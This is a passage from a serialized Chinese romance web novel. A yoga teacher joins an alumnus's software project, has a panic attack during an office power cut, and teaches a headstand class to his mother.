高雯看到方寒的时候，的确是一怔，她的美眸微微缩了缩：“方学长？” “方寒你也认识？”顾书杰笑着拍了两下手，“看来都是老熟人了，就不用过多介绍了。都是一个学校的，我们都是学长，高雯比我们小，大家对她多多关照啊。” 顾书杰对高雯道：“你可以叫我顾学长，”他说完，指了指方寒，“方学长是这一次项目负责人，有什么问题就跟方学长说，不要不好意思，他绝对不会骂你，希望我们这一次合作愉快。” “我知道啊，方学长是个温柔谦和的人。”高雯回神后笑着说。 顾书杰：“对嘛，你很了解他。” 姚展明插话：“我也很温柔谦和，学妹，你有什么事可以来找我。” 高雯：“好的，我记住了。” 陈明：“你怎么跑去教瑜伽了？还当了老师，据说你还是网红啊，高学妹，你这个跨度有点大啊。” “可不是嘛，真没想到。”姚展明接话 几人往会议室走，高雯和陈明几人聊着天，大家好久没见，之前对彼此印象都还不错，所以态度热络，气氛和谐。 方寒所担忧的忐忑画面，一点都没出现，在一群认识的学长中，他也不过是高雯认识的其中一个。 大家都在一个学校，她又那么耀眼，活跃于各个社团和校外活动，在人群里都是闪闪发光的存在，被这么多人记住太正常了。 方寒眼神有些黯淡，但他没时间伤感，转身回到工位，拿着资料和U盘，快步往会议室走。 会议开始了，大家都很有默契没说话，看着讲台上的方寒。 高雯的视线抬起，落在方寒身上。 方寒垂落的手指微微收拢，他点开PPT，按照之前在脑海里演练过上百遍的内容。 高雯还真没见过工作时的方寒，他的条理清晰，总结利落，态度高效，全然和平时是截然不同的两个人。 这有些打破她对他的一个固有印象。 台下的顾书杰和姚展明他们频频点头，认可赞同。 方寒结束发言后，并没有立刻走下来，看向高雯。 “学妹，你觉得怎么样？”顾书杰问高雯。 高雯毫不吝啬竖起自己的大拇指，冲方寒露出一个明艳的笑意。 方寒非但没松一口气，反而心如擂鼓，嘈杂的会议室，他只听得到自己的心跳声。 “我也准备了一些资料，如果有说不对的地方，各位学长包容包容。”高雯站起身，十分真诚拜托。 “没问题！尽管大胆发言，”姚展明第一个附和，“我们对你肯定包容啊！” 高雯往台上走，方寒没走下来，他拿过她的U盘，帮她插上去。 虽然是兼职，但对高雯来说，算是一个大突破，对她有利无害，所以她这几天都在资料，做各种准备，才会这么忙。 “学长，我有点紧张。”高雯站在台上，看着电脑前操作的方寒，小声开口，“昨天晚上，我练了半宿。” “你想怎么说就怎么说，他们不重要，也不会细听，”方寒帮高雯把PPT打开，走到她身边轻声道，“项目是我在负责，就算有遗漏的，我们后续回去再交流补充，现在就是个过场，不用紧张。” 他这么一说，高雯忐忑的心情一下就放下了。 在台上，她侃侃而谈自己的见解和建议，提出专业性的规划，话语里，带着张扬的自信，就连说话都是柔软有力量的。 高雯从小语种专业到瑜伽老师的跨越，说实话，会让人产生一种步子迈得太大的感觉，两者完全毫不相关。 顾书杰原先对她并未多信任，只觉得张妮被洗脑了，就像那些美容院，都是骗钱的把戏，再到后面，张妮的体态有些大变化，整个人从容了，他才开始重视，但只能说算认可高雯的能力。 哪怕高雯已经变成网红瑜伽老师，在涉及专业性这一块，顾书杰是这一次才彻彻底底折服。她的确是一个能力很强，悟性很高的人，对自己的热爱有一种笃定的执着。 会议后，顾书杰把合同拿出来，让高雯签了。 签完合同后，顾书杰提议：“大家就一起吃个饭吧，开工前总要联络联络感情，”他说完看向高雯，“学妹，你有时间吗？” “有的，我今天专门空出半天时间。”高雯说。 “那是我们的荣幸了，这顿饭必须吃，稍等我们一下，一会大家一起过去。”顾书杰打电话订包间，又给张妮打了电话，让她也过来。 会议开了一下午，要下班了，大家都各自处理手头的事情。 高雯环视他们办公室，悄悄走到方寒工位前：“学长？” “坐。”方寒把不远处的一张椅子拉到自己身边，抬头温声对高雯说。 高雯含笑走到他身侧，坐了下来，她捧着水杯，神色还有点没平复，那双清亮的美眸望着方寒，身子往他那边倾了倾，还有小庆幸和窃喜伸出一只手，压低声音：“合作愉快哦。” 张妮跟高雯说这件事的时候，她知道自己得答应。 因为这个软件推出之后，会面向成千上万的人，这是她在线下没有办法扩大的影响力，是她的“荣誉”，也是打磨塑造自己的过程。 但高雯还是很慌张，心里没底，因为她对这一行一窍不通，害怕被人为难，也怕搞砸让张妮为难。 看到方寒的时候，高雯震惊之余，就剩下高兴了。 就好像，要面临一场重要的考试，很没把握，但突然看到认识的人当考官？—— 作者有话说：有点卡文，这一章没写多少，下午六点再补一更哈。 大家早安。 第32章 第32章 有学长在，我都安心了！…… 方寒看向高雯伸过来的纤纤玉手, 他的嘴角漾开一抹笑意，“合作愉快。” 说着，他虚握了下她的手, 很快分开。 她粉润的指尖划过方寒的手心, 在他心里掀起一阵阵涟漪。 他是心动的，他一直都知道。 高雯来到陌生环境, 饶是之前就认识姚展明他们，也只是泛泛之交，哪有和方寒熟悉。 她坐在他工位旁边, 轻声和他说话。 方寒对高雯素来是有问必答，两人聊了好一会项目的问题。 他对这个项目足够了解, 侃侃而谈，听得高雯频频竖起大拇指, 甚至笑道：“有学长在, 我都心安了。” 方寒本身就是靠谱, 让人心安的人。 有他在，她真的从容很多。 闻言, 方寒翻阅资料的手微微一顿, 脸上还要装作神色自然：“这是我们的本职工作，我会配合你, 你不要有压力。” “我前几天有压力, 现在没压力了。”高雯如实说，她看了看周围在忙活的人，低声道, “我没影响你吧？” “没事，正好合理摸摸鱼。” 这话从方寒口中说出来，让高雯再一次笑开, 她伸手拿过他放在一边的项目资料，抿唇笑道：“好吧，我就在这帮你摸摸鱼。” 高雯说着，一本正经打开资料，还真假装在探讨项目问题。 没一会，顾书杰走出来了：“各位，提前下班，吃大餐去了！” 他的话音未落，众人一阵欢呼，纷纷起身收拾东西。 方寒原本想和高雯一起走，张妮来了，她冲高雯招手：“雯雯，我来啦！” 高雯笑着走过去，张妮亲昵挽上她的手，两人有说有笑往外走。 方寒跟在两人身后。 到了餐厅包厢，张妮和高雯坐在一起，顾书杰坐在张妮身边，他看到跟进来的方寒，指了指高雯旁边，“方工，你就坐那吧，人数偏多，大家挤挤坐啊。” 方寒没推脱，在高雯身旁就坐下来。 他要是不坐，姚展明和陈明来了，估计要抢着坐，那肯定不 行。 张妮和高雯还在讨论瑜伽馆的事情，最近要做活动，方案出来了，高雯还没看过。 两人讨论着，高雯要起身给大家倒饮料。 “我来吧。”方寒率先站起来。 他放在桌边的手机震动两下，收到了两条消息，他没在意，继续倒饮料。 菜一道道被端上来，都是各种招牌特色菜，方寒看到一道芋头蒸排骨，他指了指高雯前面，“放那吧。” 高雯看着蒸得粉糯的芋头，拿起筷子去夹，方寒伸手按停了正在转动的桌面，恰逢此时，他的手机响起，是视频通话。 方寒改为语音电话接听，放在耳边道，电话那头不知道说什么了，他表情无奈：“我知道了。” 挂掉电话，方寒立刻点开对方朋友圈，在最新一条上点了个赞，随后把手机放在一边。 他才刚准备吃饭，手机再一次响起。 高雯好奇看向方寒，小声问：“学长，你有急事吗？” “不是什么急事，我出去接个电话。”方寒怕打扰他们，拿着手机往外走。 他刚接起来，那一头就气呼呼道：“是两条，两条都要点赞，你怎么都不认真听我说的话！就差你了！” “我现在就去。”方寒头疼。 胡虹强调：“现在立刻马上，马上截止了！” 方寒挂掉电话，又点进对方朋友圈，一长串全是各种点赞，之前是集赞去上老年舞蹈课，后来是集赞上老年画画课。 最近又改风向了，集赞上瑜伽课。 一个是什么精心瑜伽馆、一个梵净瑜伽馆，集满三十八个赞，送七天免费大课体验卡。 因为高雯的关系，方寒对这个瑜伽馆印象好很多。 上上瑜伽课锻炼身体也好。 方寒回到包厢，还未坐下来，高雯站了起来，她接起电话，用手捂着电话，轻声问：“您明天早上八点不能来吗？那您想换到几点的课？前台那边我去处理，她刚来上班，很多事情都不是很清楚，实在不好意思。” “您稍等我一下。” 方寒往一边站，给高雯让出道。 高雯出去后，饭桌上的氛围依旧热闹，方寒时不时就往门口看，心不在焉在吃饭。 走廊里。 高雯正在和会员沟通，因为包厢太吵，她边打电话边往前走，和会员沟通好后，又去找前台。 等她把事情处理好，已经走了很远，她快速折回去。 高雯忘记包厢在哪了，还拿出手机看了眼，一路往回走，期间经过一个包厢，风一吹，门被慢慢打开，她无意往里瞥了眼，脚步停住。 空荡荡的包厢里，只有一个人闭着眼靠在椅子上，一动不动。 林珩？ 高雯往四周看了眼，好像都没人了。 她原本不想理会，甚至加快脚步往前走，她实在是不想和林珩有过多交集。 走到半道，高雯还是折了回来，慢慢走进包厢，看着浑身酒气的林珩，她走近，唤了一声：“林总监？” 林珩眼皮动了动，费力睁开眼。 他见是高雯，用手揉了揉眉间，用力甩了甩头：“高雯？你怎么来了？” “我和朋友在吃饭。看到你一个人，还以为怎么了，”高雯见他醒了，“你没事的话，我就先走了。” “嘶——”林珩蹙眉，又重重往后靠，椅子都摇晃了两下。 高雯离开的脚步停住，看了看林珩：“没人接你回去吗？你要不要给家里人打个电话？” “嗯。”林珩掏出手机，拨通了个电话。 那一头应该是问在哪，林珩抬头，往后面看了看。 高雯指了指包厢上的名字。 林珩：“淮香阁。” 他打完电话，挂断之后，回头要和高雯说话。 身后已经没人了。 林珩的酒直接醒一半，他还以为刚刚是幻觉，站起身来踉跄往外走，看到走廊的尽头出现一抹熟悉身影。 他再一次细看，人影已经消失不见。 林珩神色复杂，他坐在椅子上沉思片刻，拿着西装外套走了出去，回到车上时，给林思悦打了电话：“你不用来了，我找了代驾。” 说完，他往后靠在车上，闭目养神。 眼前频繁出现高雯的身影，扰乱他心神。 另一头。 姜舒妍望着空无一人的包厢，连忙又去洗手间查看。 还是没人。 服务员推车进来收拾，她赶忙问：“这里的人呢？” “吃完走了呀。”服务员说。 “走了？他不是醉了吗？怎么走的？”姜舒妍说。 闺蜜给她打电话，说林珩醉了，让她过来接人。 在剧情线里，林珩这一次喝醉了，她来找他后，把他扶回去，在车上，他亲了她，两人的感情有了质变。 算是捅破了窗户纸，往升温方向发展。 赶来前，姜舒妍还补了个妆，喷了点淡淡的香水，已经做好了被林珩亲的准备。 这段时间发生的事情太多，她非常没安全感，迫切希望能和林珩在一起，嫁给他结婚生子。 服务员：“有个女的来了，他们应该一起走了吧。” “女的？”姜舒妍脸色骤变，十分难看，甚至声线都变得尖锐起来。 见此，服务员快速改口：“我不知道，没看到。” “你不是说看到一个女的吗？长什么样？他们怎么走的？”姜舒妍追问。 “我看错了，我没看到。”服务员摆手，连连否认。 姜舒妍走出来时，掏出手机给林珩打电话。 没人接。 她连打了好几个，都没人接。 姜舒妍气得胸口剧烈起伏，面色更是一阵青白。 女的？！ * 高雯这边的饭局结束。 走到门口，大家各自往不同方向去。 张妮原本要把高雯送回去，她婉拒了：“不用，我和学长他们同路，我们一起回去。你家宝宝不是醒了吗？赶紧回家吧。” “行吧，明天见。”张妮笑。 “明天见。” 高雯的确和几个学长都同路，姚展明他们想打车先送她回去，高雯摇头：“我要慢走回去，吃得太饱要消消食。” “走路啊？那——” “我和她住得近，我们一起，你们先回去。”方寒开口说。 “也行，我要回去加点班，走路的确是不行。”姚展明说完笑道，“学妹拜拜，下次见。” “拜拜。” “再见。” 姚展明和陈明两人合租，也住在附近，他们搭车走了之后，就剩下方寒和高雯两人。 两人相视一眼，都笑了。 迎着初秋微凉的晚风，高雯在前面步伐欢快地走，回头看向方寒，语气绵软：“这段时间，就劳烦学长多多指教啦。” “客气了，应该的。”—— 作者有话说：你们期待的方妈妈出现啦，一个可爱单纯的老太太。 明天见哦。 第33章 第33章 学长，我们回去吧。 高雯当了特聘顾问后, 忙上加忙。 她平时除了备课上课，还要抽出时间录制视频，构建科学的体系, 充当一个专业安全审核官。 好在这些工作不是一下子赶着完成, 会随着研发的进度，一点点完善, 她可以每天都处理一点点。 但她还有一个重中之重的任务：论文。 其他的都是她的热爱演变出来的“副产品”，唯独这个论文。 要老命。 方寒和高雯的接触比前段时间多了不少。 两人不是在客厅交谈，就是在相约回去的路上, 因为高雯想尽可能有交流的时间，还能不影响到她其他事情。 吃早餐的时候、吃饭的时候、一起上下班的路上, 这些都是可以利用的时间。 不得不说，她是个做事高效的人。 方寒乐在其中, 习惯了高雯一起上下班, 翻看两人的聊天记录, 几乎每一天都在交流，汇报行踪。 今晚。 高雯临时多加了节课, 她给方寒发了消息：【抱歉啊学长, 我要九点才下课，你先回去吧。】 方寒看到短信, 快速回：【我也在加班, 】 她没回消息，而是发了一条语音，方寒将音量调小, 放在耳边听，里面传来她清软的声线：“好的好的，会员来了, 我先上课。” 方寒听了几遍，对面工位的同事突然疑惑道：“方工，听什么呢？一副春心荡漾的模样。” 闻言，顾书杰挑眉走了过来：“你有情况？” “没有。”方寒否认，无奈拧眉道，“顾总，你能不能不要乱说话？” 一声顾总，让顾书杰乐了，他伸手拍了拍方寒的肩：“好好干啊，我今天提前下班。” “嗯。” 方寒忙了一个小时，期间同事陆陆续续下班， 顾书杰都下班了，他们难得偷偷懒，当然要早点走。 很快，办公室内就只剩方寒，他看了看时间，拿过手机刚要给高雯发消息，她就先一步发了过来：【学长，我下课了。】 方寒眉目舒展，拿着手机往后靠了靠：【要回去了？】 高雯没回答，而是问：【你在公司？】 方寒：【嗯。】 高雯：【我去你们公司找你吧？】 方寒疑惑，但没问为什么：【好，你来吧。】 高雯这才道：【我们先在公司处理好课程分类的事情，回去我要写论文了，我想晚点回去面对！！！】 方寒看到后面的感叹号，唇角止不住扬起淡淡的笑意，他都能想到她此时的表情。 她一定是柳眉紧蹙，表情有些无奈挣扎。 【好。】 方寒发完消息，打开文档开始打印相关资料，又去茶水间，泡了一杯提神的绿茶。 他把茶端出来后，高雯正好走进来。 “唉——”高雯扫视一圈，发现只有方寒后，拖着声线道，“今天超忙，之后会更忙一点，因为馆里要搞活动，朋友圈集赞送免费大课，会有很多免费来体验的新会员。也不知道效果会怎么样。” “辛苦了。” 他刚说完，手机就响起，点开看：【点赞点赞，就差你了！！！！！】 方寒打开对方朋友圈，看都没看，在最新的一条朋友圈下面点了赞，他把椅子拉过来，让高雯坐下，又把泡好的茶放在她面前，笑着道：“应该会挺好，能吸引不少人。” 这一点，他深有体会，最近他每天都在帮忙点赞，很是头疼。 “希望如此。”高雯说着端起茶杯。 方寒叮嘱：“刚泡好，小心烫。” “嗯嗯。”高雯点头，慢慢靠近茶杯边缘，轻轻吹着气。 方寒看着她小心翼翼的模样，眼底染上笑意，他起身往打印机走去，“我去拿资料。” “好。” 高雯喝了好几小口，方寒把一叠资料拿过来，递给她，“你先休息一下，慢慢看，有问题我们再讨论。” “我还要回去写论文。”高雯放下茶杯，把椅子往前推了些，将资料放在桌子面上就开始翻看起来。 方寒快速坐下来，打开电脑文档。 “课程难度的结构还是需要优化的，不够细，”高雯拿着笔，在目录上圈了出来，“而且还得细分，每一个客户的训练目标不一样，必须足够针对和醒目。” 方寒：“比如？” “肩颈理疗、产后修复、减脂塑形、有氧运动、肩背调理、综合训练”高雯一口气说一堆，随后道，“我之后都会整理好给你们。” “嗯。”方寒的手指在键盘上飞速敲打着。 高雯翻阅着资料，红唇微张，轻轻说着，方寒则不断在记录，两人时不时针对性讨论，在各自的领域提出见解。 偌大的办公室内，两人交谈的声音在流转回荡。 期间，高雯面前的那杯绿茶逐渐见底，她清了清嗓音，将资料放在桌面上，站起身来：“我去下洗手间。” “在那边。”方寒给她指了方向。 “嗯，” 高雯离开后，方寒看着她随手放在一边的资料，上面是她随手做的标记。 字如其人，优雅流畅，清秀柔美。 方寒拿着茶杯，去了茶水间，准备续上水。 他刚走到饮水机旁，“啪”一声，四周一下变得黑暗。 断电了？ 方寒还未多思考，办公室传来一阵碰撞声，伴随着轻呼，他脸色大变，快速往外跑去。 “高雯？”方寒看着漆黑的办公室，着急唤了一声。 没人应。 “高雯？你在哪？”方寒借助着外面微弱的灯光，在不断找着。 没人回应让方寒顿时有些六神无主，心弦绷紧得快要断了。 倏然，传来椅子摩擦地面的声音。 方寒第一时间往那头走去，他看到倒在地上的高雯，连忙蹲下来：“你还好吗？” 高雯没说话，夜色很黑，他看不清她的脸色，只能赶紧要把她扶起来。 方寒的手刚伸出去，就把高雯紧紧握住，她的身子靠在他身上，双手紧紧握着他，宛如找到了一根救命稻草。 高雯看着黑漆漆的四周，恐惧的浪潮仿佛要将她吞噬，前一世的场景一幕幕在她脑海里重演，她浑身像是被抽走了力气，整个人如同一滩烂泥，正在被不断往深渊里拽。 “你怎么了？”方寒察觉到她不断发抖，以为她摔得严重，更加着急，“我现在带你去医院。” “不不”高雯从发硬的喉咙里艰难挤出这两个字，她用尽力气摇头，阻止方寒将她扶起来。 她说着，双手更加握紧方寒的手。 “那就不去，你别害怕，没事的，没事——”方寒察觉到她手心不断冒出的冷汗，赶紧改口，“我们不去了。” “不——”高雯声线虚弱，身子还在不断发抖，她警惕看着周围，又缩着脖子，往方寒身边靠，哽咽痛苦出口，“不——” 她已经没有一点思考能力，吓得冷汗如雨， “不去了，我们哪都不去，没事没事。”方寒另一只手也握住她，陪她坐在地上，不断在她耳边重复。 高雯还在紧紧抓着方寒的手，浑身哆嗦着，宛如游丝一样颤抖个不停。 “啪——”一声。 高雯如同惊弓之鸟，整个人恨不得躲起来，方寒第一时间遮住她的眼，出声道：“别怕，来电了。” 办公室内恢复明亮，方寒这才注意到高雯惨白的一张脸和毫无血色的唇瓣，他的手心触碰到她发凉的额头，眼底都是担忧。 方寒一点点移开自己的手，让高雯适应眼前的光线，她慢半拍看着明亮的四周，神色略微有些呆滞无神。 “你摔到哪了？”方寒看着她温声问。 高雯没回，只是愣愣看着他，眼底带着迷茫和挣扎。 她的大脑思绪混乱，甚至分不清梦境和现实。 “地上凉，我们先起来。”方寒说着去扶她起来。 高雯抓着方寒的手还是没松，她再一次看了看四周，用仅有的力气一直抓着他。 方寒任由她抓着，将她拉起来，伸手拿过一张椅子，让她坐下来。 高雯坐着，方寒站着，她看了看他，好一会后，才慢慢松手，把自己的手放在腿上，双手揪在一起，低着头。 方寒蹲下来，目光温柔带着关切，放轻语气出口：“你摔哪了？哪疼？” 高雯没说话。 “我看看你的腿，可以吗？”方寒还是担心，心里没底。 高雯面无表情，维持着坐着的动作。 “不说话就是默认了啊。”方寒说着，伸手去碰她。 高雯放在腿上的手有些微微颤抖。 方寒抬头看她。 她没说话。 方寒：“我帮你看看，别伤到了。” 他很担心，因为上一次她就割到脚，还流血了。 高雯今天穿的是悠闲裤，很容易就挽起来，方寒看到她膝盖上的瘀青，脸色变得有些凝重。 所幸另一边膝盖没事。 方寒抬头看她，高雯此时有点像无措忐忑的孩子，她微微张了张嘴，最后什么都没说。 “有撞到头吗？”方寒谨慎问。 高雯很轻微摇了摇头。 “那就好，没事的，我一会给你擦点药。” 方寒站起来，高雯以为他要走，脸色再次发白，眼底带上了惶恐不安。 “我不走，一会我们一起回去。”方寒说着，从旁边的桌子上抽出两张纸巾，他微微弯腰，“帮你擦擦汗，一会着凉了。” 高雯的额头和脸上都是细汗，头发都有些微微润湿。 方寒动作很轻柔，很有分寸感，高雯一动不动，任由他擦拭。 擦完脸后，他把纸巾丢在垃圾桶，又抽出两张，拉过她的手，快速帮她把手心的细汗擦干净。 “好了，我去那边拿油，给你擦擦，明天就好了。”方寒指了指自己的工位。 他刚转身，高雯就拉住他的手，她的手在抖，整个人又很慌起来。 “一起过去，可以吗？”方寒说。 高雯轻轻点了两下头。 但她没有动作，就坐着。 “我拉着你，擦完油，我们就回去了。”方寒反手，将她的手紧紧握住，拉着她起身。 高雯站在他身边，另一只手也握住他。 方寒能感觉到她全身心地依赖，但那种感觉不一样，她把他当成了一块救命的浮木，就好像溺水里看到的希望。 短短几米的距离，两人走了好几分钟。 高雯简直是半步难移，她完全控制不住自己的身体和大脑，好像丢失了很多记忆，整个人变得机械，麻木，浑身僵硬。 “坐下吧。”方寒把自己的椅子拉过来，让高雯坐下来的时候，他自己都松了一口气。 高雯很听话。 方寒在自己的工位上开始找药油，高雯的视线一直盯着他，她的柳眉微微拧着，思绪乱得像蒙上一层厚厚的雾。 她刚刚甚至不知道这里是哪，她来这里做什么？ 只知道好怕。 现在才慢慢记起来，他是方寒。因为是他，会莫名其妙多一丝心安。 方寒找到药酒，蹲在高雯脚边，抬起头声线温润：“我给你擦点药，这个药效好，明天睡醒就没事了。” “嗯。”高雯轻声回他。 方寒见她回话，稍稍放宽心一些，再一次确认：“是不是只撞到膝盖了？” “嗯。” “抱歉，可能是突然跳闸了。”方寒话语歉意，他把药酒倒在手心，揉搓了好几下，这才轻轻敷在她的膝盖，轻揉着道，“我一会就买个台灯，断电了台灯还亮着，不然太危险。” “没关系。”高雯小声说。 她说着没关系，方寒看着她瘀青了一大片的膝盖，心里还是有些自责。 方寒揉搓了好一会，这才起身。 他拉过椅子，坐在高雯旁边，他也没闲着，整理着资料：“你要稍稍等我一会，我们才能回去。” 实际上，他想让高雯缓一缓。 她现在情绪不太对劲。 高雯坐着没说话，她垂着眸，很安静。 就连她自己都不知道她在想什么，什么都没想，又好像很多的想法在她脑海里飞快掠过，心跳很快，思绪很杂。 不知道过了多久，高雯伸手扯了扯方寒的衣角：“学长，我们回去了。” 假装忙碌的方寒笑了笑：“好。” 一路上，两人无言。 方寒和高雯并肩走着，他的步伐放得很慢，偶尔还会停下脚步，配合正在游神的她，然后装作不在意。 这一段路，两人用了平时起码三倍的时间。 到了小区楼下的便利店，方寒走进去，买了两瓶高雯平时喜欢喝的牛奶，加温后拿出来，旋开盖子递给她。 “谢谢。” “不客气。” 回到家的高雯，脸上的血色恢复不少，只是回房时，她忘记和平时一样，对方寒说晚安了。 动作也慢了几分，导致方寒一夜无眠，辗转反侧。 睡在床上的高雯，也并未好到哪里去，她脑袋还是有些木木的，不断在深吸气平稳自己的心情。就像受了大惊吓后有的后遗症，需要平复很久。 没事没事的，她不断在告诉自己。 第二天，方寒早早就起来，打算给她煮点早餐。 高雯却在天都没亮，就已经出门去上课了。 昨天晚上的事情，就好像一个小插曲，方寒感觉高雯睡上一觉，就已经忘了。 方寒没再提及，全当事情没发生过。 高雯自己也是这么想，她不想提，也不想回忆。 方寒这两天给高雯发消息很频繁，不过都是合情合理，大部分时间都在聊工作上的问题。 他每天下班都会等她一起回去。 高雯只有在换衣服时，看到膝盖上逐渐淡化的瘀青，才会陷入那一段痛苦挣扎的回忆，整个人久久不能回神。 “雯雯姐？”林思悦的声音从外面传来。 “我在。”高雯回应，她穿上衣服后，从换衣间走出来。 林思悦笑着道：“你下节没课，我们拍一些照片吧？顺便拍两个视频，上传到馆里的视频号和你的个人视频号，都两天没更新了。” 她和张妮负责网上宣传，现在是流量大起，更要频繁发内容。 高雯有时间的时候不多，都得抓紧多拍。 “好，稍等我一下。”高雯应下。 她太忙了，这些事情一直都是张妮和林思悦打理，这两人很尽心，都会安排妥当。 给馆里宣传也是高雯的工作，至于她的个人视频号，暂时还没想要做什么，不过粉丝量在那，对她来说，也是多一条很宽敞的出路。 这一切，都比前一世好太多了。 高雯不相信，也不会屈服，更不觉得自己本应该有所谓的“结局”。 她是个不信命也不服输的人。 高雯从里面，前台小姑娘正在急得团团转，打着电话道：“清清老师，你来不了要提前说呀，会员都在等着，马上上课了，其他老师都有安排，根本不能代课。” “你尽快赶过来行吗？” 高雯看到前台小姑娘满脸愁容，她走过去问：“怎么了？” “清清老师不能来上下一节大课，会员都到齐了。”前台小姑娘着急翻着手机里的通讯录，“怎么都不提前说呀！” “不用打电话了，我来上。”高雯说。 前台小姑娘停住动作，感动得不行：“雯雯老师，你可以吗？” 高雯属于馆里的网红老师，每天就只有一节直播的大课，其余时间都是上老会员的小课。 这种课，轮不到她来上的。 “为什么不可以？我下节没课。”高雯说完问，“上的是什么课？” “倒立练习。”前台小姑娘说完又道，“对了，这节课有个新会员阿姨来体验。” “体验课为什么安排在这一节？”高雯拧眉，“她没基础很不安全。” 馆里最近在做活动，朋友圈集赞送免费七天大课体验。 这种课，都是由其他老师上，而且相对来说，课程都是偏基础简单的，倒立需要基础，都是老会员在上课。 “她说她有基础，在好几个瑜伽馆都练过了，”前台小姑娘说着，指了指休息沙发，“就是那个阿姨，刚来的，说要马上体验。只有这节课了，我就给她安排上，不然之后几天的体验课都满了。 ” 体验课就是为了吸引会员，在其他瑜伽馆练过的会员，更是她们的目标人群，当然是要拉拢，因为她们报课的概率很大。 高雯望过去，很快看到了那位新会员，阿姨穿着花色的短袖加宽松喇叭裤，烫着法式蓬松妈妈卷发。 她的打扮很朴素，不化妆不修眉，手上还拎着一个衣服购物袋当包包，规规矩矩坐在沙发上，带着好奇和懵懂打量着馆内。 见高雯看过来，胡虹与她对视，立刻挺直腰板，装出很自信的样子。 “你确定，她练过？”高雯轻声问前台小姑娘，语气有些迟疑。 “她自己说啊。我觉得肯定练过，什么精心瑜伽馆、明景瑜伽馆、还有梵会瑜伽馆她都去过的，都是会员。”前台小姐姐话语肯定，随后还预测，“我估计她应该会办个大课的年卡会员吧？” 虽然这个阿姨打扮朴素，但估计有退休金，年卡会员好几千一年，也是业绩。 不能放过任何一个潜在客户。 “好。”高雯点头，迈开腿朝胡虹走去。 见高雯走过来，胡虹揪紧手中购物袋，强装镇定看着她。 高雯来到胡虹身边，微微弯腰，出言道：“阿姨，我们这节大课上的是倒立，需要有一定基础，您可以吗？” 胡虹被质疑了，她微微睁圆眼，再一次揪紧她的购物袋，中气十足强调：“我在好几家瑜伽馆待过，我还练舞蹈，我有基础！” 这个漂亮的小姑娘怎么质疑她？ 是不是看她是朋友圈集赞来的免费客户，就轻视她？这样是没礼貌的。 “有基础就行，因为是大课，就只有一个老师，难免就会照顾不过来，所以为了您的安全，我必须要问清楚，希望您不要介意。”高雯说完又认真道，“锻炼是其次，我得保证您的安全是第一。” 这话说的，胡虹心里又舒坦了，她笑得露出眼角的细纹：“是你给我上课吗？” “是的，这节课是我上，现在距离上课只有三分钟，我们可以去教室了。”高雯话语低柔清脆，酥酥糯糯的。 “好。”胡虹笑开，她站起身跟着高雯。 高雯：“我先带您去把衣物放好，然后我们再去教室。” “好的好的。”胡虹看着这个身材窈窕，长得水灵灵的小姑娘，笑意不止，屁颠屁颠跟在她后面，“你的态度真好，很贴心。” 高雯帮她把衣物和购物袋都放在柜子里，将钥匙给胡虹，“教室在这边，您跟我来。” 途径大厅，胡虹看着宣传牌上的人，又看了看高雯：“这是你吗？” “是的。阿姨，我们要上课了。”高雯提醒。 “是你啊，你长得很好看。”胡虹快速跟在她身后，还往身后瞅了好几眼，一直紧跟着这个漂亮的小姑娘，在进教室前还对高雯道，“我在好几家瑜伽馆上过课了，我很会的。她们都夸我。” 大厅里的活动宣传牌上，是高雯首推出来的私教课。 一节课1588，十节起报—— 作者有话说：稍微来迟了一点，抱歉抱歉。 这一更发两百个红包么么。 明天见哦。 第34章 第34章 此时她就是全世界最可怜的人…… 胡虹跟着高雯走进教室时, 其他会员都已经选好位置。 剩下的一个位置，就是在角落里。 胡虹要走过去，高雯先一步道：“阿姨, 您就在我身边, 离得近一些。” 她说着，拿出瑜伽垫, 铺在自己旁边。 新会员离得那么远，她不放心。 “好。”胡虹笑了，满脸都是愉悦。 这个小姑娘态度真好, 她喜欢。 “我们开始上课，这节课是倒立练习, 大家简易坐在你的瑜伽砖上，”高雯轻声开口, “双手放在膝盖上——” 高雯说简易坐在瑜伽砖上的时候, 胡虹就开始行动了, 她认认真真摆放自己的瑜伽砖，然后规规矩矩坐在砖上。 这些她都会！她上过好多课了！ 高雯现在是馆里的网红老师, 据说上课很好, 一课难求，她们约的不是她的课, 当看到是她上课的时候, 众人都很兴奋，非常认真在听课。 “轻闭双眼。”高雯扫了一圈正在闭眼调息的会员，看向睁着眼的胡虹, 她微微侧头，眼底带着无声询问。 胡虹余光迅速看了周围一圈，用力闭眼。 没一会, 她又悄悄睁开，还未偷看其他人成功，就对上高雯的视线。 胡虹一脸心虚，再次闭眼，像个被老师抓包的学生。 没一会，她再次睁眼，见高雯没在了。 咦？ “背挺直，不要塌腰，”高雯轻柔的声音突然在胡虹身后传来，她还没来得及害怕，腰部就被人一挺，高雯那双纤细的手放在她的肩上，把她的肩往后展开，“往前坐一些，坐骨最高点落在瑜伽砖上，吸腹。” 胡虹被这么一摆，不得不认真，小姑娘还叽叽咕咕说什么？ 不管她！好累好累，她做得足够多了！多棒！ 高雯上手两下，就知道这位阿姨的水分。 指令一句没听懂，她没为难，只是轻声说了句：“保持一下。”随后，她站起身回到自己的瑜伽垫上。 胡虹睁开眼瞅她，咧嘴笑眯眼。 肯定是她做得非常标准，所以老师才让她保持！ “四脚跪姿在瑜伽垫上，双膝分开与盆骨同宽，小腿平行地面，脚趾回勾蹬地，”高雯走到一个会员身旁，给她调整姿势，“挺胸收腹，目视前方，大臂内旋——” 胡虹照壶画瓢学着，自以为很认真，都被自己的努力感动到了。 她流了很多汗，好累好辛苦的。 高雯则发现，她说她的，这个阿姨自己做的自己的。 非常认真努力，就是动作一个没对。 大课上的人实在太多，足足有三十个，她不可能只专注于一个人，其他会员会有意见，高雯有自己的安排。 前面动作，随便胡虹跟着怎么折腾。 等到后半节课，高雯从手上拿了很多伸展带，“下面进入头倒立，新会员需要借助伸展带和瑜伽砖靠墙的辅助，老会员尝试自己完成动作。 ” 很多没有把握的会员，纷纷举手朝高雯拿伸展带。 胡虹没动。 高雯走过去，把一条伸展带给她。 “我是老会员了。”胡虹说。 新会员才用这个，她不需要。 “这个能帮助你更好地完成体式。”高雯说得很委婉。 “好吧。”胡虹被忽悠了，她接过伸展带，看向高雯，“我刚刚做了太多太多动作，一直做都没停，已经没力气了，那就用这个吧。” 高雯很有耐心，她解开伸展带，调好长度：“把手伸出来。” 胡虹把她两只手乖乖伸出来。 高雯帮她套在手肘上，胡虹趁着她帮她的工夫，快速观察其他会员，她模仿能力很强，立刻就会了。 她笑着对高雯道：“谢谢老师！” 高雯拿着胡虹的瑜伽砖，往墙面走去。 胡虹快速跟上。 